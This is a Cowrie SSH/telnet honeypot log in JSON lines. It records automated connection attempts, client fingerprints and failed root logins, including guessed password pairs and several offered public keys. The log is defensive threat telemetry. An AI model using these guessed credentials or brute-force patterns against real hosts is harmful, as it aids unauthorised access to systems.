{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56070,"dst_ip":"10.17.0.5","dst_port":22,"session":"59e529b1272f","protocol":"ssh","message":"New connection: 109.237.96.109:56070 (10.17.0.5:22) [session: 59e529b1272f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:17:05.722594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:17:05.726289Z","src_ip":"109.237.96.109","session":"59e529b1272f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:17:05.819297Z","src_ip":"109.237.96.109","session":"59e529b1272f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzxc11","message":"login attempt [root/qweasdzxc11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:17:06.100506Z","src_ip":"109.237.96.109","session":"59e529b1272f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:17:07.195930Z","src_ip":"109.237.96.109","session":"59e529b1272f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":53740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d7e11d6a5fa","protocol":"ssh","message":"New connection: 182.93.50.90:53740 (10.17.0.5:22) [session: 6d7e11d6a5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:04.096656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:04.100137Z","src_ip":"182.93.50.90","session":"6d7e11d6a5fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:04.315215Z","src_ip":"182.93.50.90","session":"6d7e11d6a5fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"user04","message":"login attempt [user04/user04] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:05.207113Z","src_ip":"182.93.50.90","session":"6d7e11d6a5fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:06.424136Z","src_ip":"182.93.50.90","session":"6d7e11d6a5fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44216,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0818564d40","protocol":"telnet","message":"New connection: 172.81.62.90:44216 (159.203.135.109:23) [session: fb0818564d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:22.065849Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce3d8ccf8fe2","protocol":"telnet","message":"New connection: 94.23.66.112:50590 (10.17.0.5:23) [session: ce3d8ccf8fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:22.433822Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":60220,"dst_ip":"159.203.135.109","dst_port":22,"session":"730168844d0f","protocol":"ssh","message":"New connection: 103.27.238.116:60220 (159.203.135.109:22) [session: 730168844d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:23.715130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:23.720551Z","src_ip":"103.27.238.116","session":"730168844d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:23.980827Z","src_ip":"103.27.238.116","session":"730168844d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:24.761619Z","src_ip":"103.27.238.116","session":"730168844d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:26.023509Z","src_ip":"103.27.238.116","session":"730168844d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":41646,"dst_ip":"10.17.0.5","dst_port":22,"session":"730089af4629","protocol":"ssh","message":"New connection: 50.6.197.105:41646 (10.17.0.5:22) [session: 730089af4629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.557100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.559673Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.603540Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:b4:9d:31:89:f6:d6:b1:07:64:02:d9:33:1c:6d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRpvx13clJP0wEwUM+4V5A/cqBpjRXZmRNtmN5Kjo4jcq8MCv0WuSdbkNRRQUjfU8ZSouenpJf130L4ucDH42BR3dLfQShb7kD88sY5BFKd25WLRU3KfIPuMC9NUBN1IY57AnBb0suer87hNq3+PZvYLM/yA8ZGl6cB6cU4ZVYDtbuKghLL5mE+2KOd1TApRiuFcpyYnkXi0EIItZJX988Ig8harKSdx7+eLQkJEuGh1/QrmVIyM/HQ9UDmO/Q7yxAMHMII/uhQgK16MsBYrs+YOkCWClKoB6wBrehUnayro78yP/dTuAD6bGEktl+ZrOq9EkHHy3KaLsqT70z4vujaNNeaM356c2cdpOvYOyXqkctNYMY1SDfNwNMvh1Yrhnjzh5O2jftri7UjqJFX330f8ywsDujMtW3GCtLI5paW5wW5VS9y+ejc5QV1oM+13LJ/6U2PNbeULKlcqh32FXv/e6oepHafkvJeF2bGvNj+unWLvhdyeqLVwC7nqA3hxfJYUcFXmqfI0J1RFSVs0j0KTyKhrO+rjzDUgZIm7WYCH7rFmN5IcH3BnOJbmQBxJm+yXsnCCUiAzSc9UkWnZd3yunWCvH++wBTIMyCDDEuINuTg3odZse8g25HsDENqQSHjY6UErsWEI5PxisAeUVXgTj5Sl4YQOSTgyjPlcLwPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:b4:9d:31:89:f6:d6:b1:07:64:02:d9:33:1c:6d:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.808372Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:b4:9d:31:89:f6:d6:b1:07:64:02:d9:33:1c:6d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRpvx13clJP0wEwUM+4V5A/cqBpjRXZmRNtmN5Kjo4jcq8MCv0WuSdbkNRRQUjfU8ZSouenpJf130L4ucDH42BR3dLfQShb7kD88sY5BFKd25WLRU3KfIPuMC9NUBN1IY57AnBb0suer87hNq3+PZvYLM/yA8ZGl6cB6cU4ZVYDtbuKghLL5mE+2KOd1TApRiuFcpyYnkXi0EIItZJX988Ig8harKSdx7+eLQkJEuGh1/QrmVIyM/HQ9UDmO/Q7yxAMHMII/uhQgK16MsBYrs+YOkCWClKoB6wBrehUnayro78yP/dTuAD6bGEktl+ZrOq9EkHHy3KaLsqT70z4vujaNNeaM356c2cdpOvYOyXqkctNYMY1SDfNwNMvh1Yrhnjzh5O2jftri7UjqJFX330f8ywsDujMtW3GCtLI5paW5wW5VS9y+ejc5QV1oM+13LJ/6U2PNbeULKlcqh32FXv/e6oepHafkvJeF2bGvNj+unWLvhdyeqLVwC7nqA3hxfJYUcFXmqfI0J1RFSVs0j0KTyKhrO+rjzDUgZIm7WYCH7rFmN5IcH3BnOJbmQBxJm+yXsnCCUiAzSc9UkWnZd3yunWCvH++wBTIMyCDDEuINuTg3odZse8g25HsDENqQSHjY6UErsWEI5PxisAeUVXgTj5Sl4YQOSTgyjPlcLwPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.811388Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:c3:e8:a7:6d:84:cc:2d:27:15:5c:ec:78:22:b4:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnRDpEGVcAKMh/KAP6nA6S+Hs7aYeSS3N9YQ2TU5t4gR8i9QkSbBnxkpggnT8MS2Rko1/uq0xe/gx58CEw+g+Qu4wGY4SS6Al/Yq9lwcy12Q2XtrG+VBHZ/uOG0Xb/5s2jfTBc3E4huZuXSfMT5PJRIn0ea1u6/B4AiffOngkKLSm9oe4ZSXf6pzqOrujYlMAacvhrEROycYViMgfiOINXO+VGHUZxtbsgi44MHaDdtRzdfwm2zWfCvhb4X5A0lJr2nzrPorlLBMfO25DzXB2g8F298r0CA4yYgzgIMXimk8LWG+36KQEAXC75aFlGVMATpT+wuHYCdbX8n2LLdBfF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:c3:e8:a7:6d:84:cc:2d:27:15:5c:ec:78:22:b4:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.857829Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:c3:e8:a7:6d:84:cc:2d:27:15:5c:ec:78:22:b4:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnRDpEGVcAKMh/KAP6nA6S+Hs7aYeSS3N9YQ2TU5t4gR8i9QkSbBnxkpggnT8MS2Rko1/uq0xe/gx58CEw+g+Qu4wGY4SS6Al/Yq9lwcy12Q2XtrG+VBHZ/uOG0Xb/5s2jfTBc3E4huZuXSfMT5PJRIn0ea1u6/B4AiffOngkKLSm9oe4ZSXf6pzqOrujYlMAacvhrEROycYViMgfiOINXO+VGHUZxtbsgi44MHaDdtRzdfwm2zWfCvhb4X5A0lJr2nzrPorlLBMfO25DzXB2g8F298r0CA4yYgzgIMXimk8LWG+36KQEAXC75aFlGVMATpT+wuHYCdbX8n2LLdBfF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.860575Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:9e:41:f8:a9:bc:ff:85:33:68:6b:82:41:00:23:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz0MvYDIqqt9Nj8f0mmlc73XMfrBBCEKCQntWfK4sxmC1bucsksku8EcRFkAMFCbytyOZv8KyJDySFmRoRxHAJWXQyZdcdgi0gwWd2SU9hwZHVq5XBcv3LxsTLZTa3jv7RKpPdsuvXiF9ClPri1U2jY6Ikc5DLFVEpp8H9RzREBiMrsyqF43gfEo+vpfJ0dlM3OzOH6KmqGR+ugi6mo1/wo75gTeVM2K8Vzh7brzNNHcjL/CSqgC5NNfnyLfQl6IP/WXGMKMemjTMsh6kSI+DFE+zUlQ2T75wPfaWsCM/oMXSXv45O0+5K+AeIt1sqD7bNitIruODiYI2ZsHBgW3iaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:9e:41:f8:a9:bc:ff:85:33:68:6b:82:41:00:23:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.905843Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:9e:41:f8:a9:bc:ff:85:33:68:6b:82:41:00:23:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz0MvYDIqqt9Nj8f0mmlc73XMfrBBCEKCQntWfK4sxmC1bucsksku8EcRFkAMFCbytyOZv8KyJDySFmRoRxHAJWXQyZdcdgi0gwWd2SU9hwZHVq5XBcv3LxsTLZTa3jv7RKpPdsuvXiF9ClPri1U2jY6Ikc5DLFVEpp8H9RzREBiMrsyqF43gfEo+vpfJ0dlM3OzOH6KmqGR+ugi6mo1/wo75gTeVM2K8Vzh7brzNNHcjL/CSqgC5NNfnyLfQl6IP/WXGMKMemjTMsh6kSI+DFE+zUlQ2T75wPfaWsCM/oMXSXv45O0+5K+AeIt1sqD7bNitIruODiYI2ZsHBgW3iaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.908716Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:92:8b:cd:68:f0:51:f7:b7:06:bd:45:dd:a6:5f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2jST3cq9r4WTQU2HVmCuaI7Zh9ZfazS+O1Np7MEX3EHGGxOzKnCodtVwM035C9yBRmGF2s9pcCQUlN0PG6AbubfudD0LTVWpCqUEGY49lh1BIdKcVzz6Pp3Wg1O4gH3DCJ+9ub9/aKx2eZikYTYdLYD17eHf1nk15TfD3Jci00YSNh47hKoVfF+9Sl59IoxJWM42NXRlLX/d/m+IH9+TCAUcWFfgNt9Qe0y11b3MK79s02YUxgZvzVcaYFKA1CDRHuRtpllxY/IeyTGHeEQWH4X7vfkiy7wO3E+wBrvpFPj1F73Ag3JCviknNvZsFSlhXNjl8848efnioWhG6bj2nQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:92:8b:cd:68:f0:51:f7:b7:06:bd:45:dd:a6:5f:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.955226Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:92:8b:cd:68:f0:51:f7:b7:06:bd:45:dd:a6:5f:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2jST3cq9r4WTQU2HVmCuaI7Zh9ZfazS+O1Np7MEX3EHGGxOzKnCodtVwM035C9yBRmGF2s9pcCQUlN0PG6AbubfudD0LTVWpCqUEGY49lh1BIdKcVzz6Pp3Wg1O4gH3DCJ+9ub9/aKx2eZikYTYdLYD17eHf1nk15TfD3Jci00YSNh47hKoVfF+9Sl59IoxJWM42NXRlLX/d/m+IH9+TCAUcWFfgNt9Qe0y11b3MK79s02YUxgZvzVcaYFKA1CDRHuRtpllxY/IeyTGHeEQWH4X7vfkiy7wO3E+wBrvpFPj1F73Ag3JCviknNvZsFSlhXNjl8848efnioWhG6bj2nQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:30.958022Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:97:2b:cf:ce:f1:8a:67:34:3a:f3:48:16:c5:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFvvjKKsrSiAgOaP2yN1bOOuNb24lFqNA9dJMVImB7KUQr5BgvAIJEBpBG0pHjbEi6h/tS0XkAw91lq3b/Ay9yuSJCMfghkfrg/ZNBhE3/m4l/JSNFn7yIQ1UOhW3mfZbVwUFYYShxH1APEtsuiQUJWb9PG2FIALP9SDijlmKmeK+YAnCmYtoAfz+J/U+NJ9+r4RmmzcXBV2u6eoHpirCfKQtY3wJUZZySieIh+jx23fsff9npke5AguBEdjEvtqT6D7IaPQHnsAfuejGG9+mh729NG/N12yGkSYc0/l9jlCt2Bmts+j+DmLyhm74scKtgnDznQwx1rYNTHFGYD+/CSFTGX4i9IzfFMqFJefV32iLANibOvXEjeqWkPpnxd20KhZLCNyPG0hslUaYJZZmWzNeoWs4neMFKqccLKVr+eUcKwNDAx9E0f6rTAq1D8NAVqhCfC8tCdQ8ZMc15o2RHKlv2Zf4r+XonMqKNlR2EZm7GVlrtl9LWMqV419GyyPfo2TJhxXrUYh/FXGi4mNuHnUUp3zhP+OMo50oTRDnieUmiqGYhryBfK1ow+dXhk1FLG9uqjP62I9u2lk1TPa90uH20V9i6BZRvXwIC/evWZwc1U1bjb7fn4EGySyMCLtbz/fAfDh7pit18po1McMw0kiBUemddLQtfy1B1wHsuaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:97:2b:cf:ce:f1:8a:67:34:3a:f3:48:16:c5:3c:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:31.003408Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:97:2b:cf:ce:f1:8a:67:34:3a:f3:48:16:c5:3c:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFvvjKKsrSiAgOaP2yN1bOOuNb24lFqNA9dJMVImB7KUQr5BgvAIJEBpBG0pHjbEi6h/tS0XkAw91lq3b/Ay9yuSJCMfghkfrg/ZNBhE3/m4l/JSNFn7yIQ1UOhW3mfZbVwUFYYShxH1APEtsuiQUJWb9PG2FIALP9SDijlmKmeK+YAnCmYtoAfz+J/U+NJ9+r4RmmzcXBV2u6eoHpirCfKQtY3wJUZZySieIh+jx23fsff9npke5AguBEdjEvtqT6D7IaPQHnsAfuejGG9+mh729NG/N12yGkSYc0/l9jlCt2Bmts+j+DmLyhm74scKtgnDznQwx1rYNTHFGYD+/CSFTGX4i9IzfFMqFJefV32iLANibOvXEjeqWkPpnxd20KhZLCNyPG0hslUaYJZZmWzNeoWs4neMFKqccLKVr+eUcKwNDAx9E0f6rTAq1D8NAVqhCfC8tCdQ8ZMc15o2RHKlv2Zf4r+XonMqKNlR2EZm7GVlrtl9LWMqV419GyyPfo2TJhxXrUYh/FXGi4mNuHnUUp3zhP+OMo50oTRDnieUmiqGYhryBfK1ow+dXhk1FLG9uqjP62I9u2lk1TPa90uH20V9i6BZRvXwIC/evWZwc1U1bjb7fn4EGySyMCLtbz/fAfDh7pit18po1McMw0kiBUemddLQtfy1B1wHsuaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:31.007375Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:18:31.053742Z","src_ip":"50.6.197.105","session":"730089af4629","protocol":"ssh"}
